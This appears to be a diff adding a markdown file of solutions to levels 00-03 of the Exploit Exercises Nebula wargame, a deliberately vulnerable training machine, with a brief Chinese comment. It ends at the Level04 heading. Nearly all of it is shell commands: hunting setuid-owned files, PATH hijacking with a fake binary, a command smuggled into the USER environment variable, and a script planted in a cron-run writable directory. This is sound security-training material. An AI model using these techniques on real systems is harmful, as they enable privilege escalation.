--- /dev/null
--- /dev/null
++#Exploit Exercises Nebula
++##Level00
++```
++$ cat /etc/passwd | grep flag00
++flag00:x:999:999::/home/flag00:/bin/sh
++$ find / -uid 999 2>/dev/null
++```
++
++##Level01
++
++```
++$ cd ~;mkdir bin;cd bin;echo '/bin/getflag > /tmp/level01.txt' > echo; chmod +x echo
++$export PATH=/home/level01/bin:$PATH
++$ /home/flag01/flag01
++$ cat /tmp/level01.txt
++```
++
++##Level02
++```
++$ export USER=";/bin/getflag > /tmp/level02.txt;/bin/echo"
++$ /home/flag02/flag02
++$ cat /tmp/level02.txt
++```
++
++##Level03
++```
++$ cd /home/flag03/
++$ echo '/bin/getflag > /tmp/level03.txt' > writable.d/hack; chmod +x writable.d/hack
++```
++等到hack被删除
++
++```
++$ cat /tmp/level03.txt
++```
++
++##Level04